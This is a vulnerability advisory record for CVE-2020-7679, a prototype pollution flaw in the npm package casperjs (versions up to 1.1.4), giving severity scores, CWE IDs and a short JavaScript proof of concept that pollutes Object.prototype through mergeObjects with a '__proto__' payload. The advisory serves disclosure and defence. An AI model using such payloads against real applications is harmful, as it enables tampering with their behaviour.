CVE-2020-7679 – casperjs

Package

Manager: npm
Name: casperjs
Vulnerable Version: >=0 <=1.1.4

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

EPSS: 0.00774 pctl0.72702

Details

Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs ### Overview casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS. Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function. ### PoC ```js var payload = JSON.parse('{"__proto__": {"a": "pwned"}}'); mergeObjects({}, payload); console.log({}.a); // prints "pwned" ```

Metadata

Created: 2021-05-17T21:00:52Z
Modified: 2023-09-13T19:52:14Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vrr3-5r3v-7xfw/GHSA-vrr3-5r3v-7xfw.json
CWE IDs: ["CWE-1321", "CWE-915"]
Alternative ID: GHSA-vrr3-5r3v-7xfw
Finding: F390
Auto approve: 1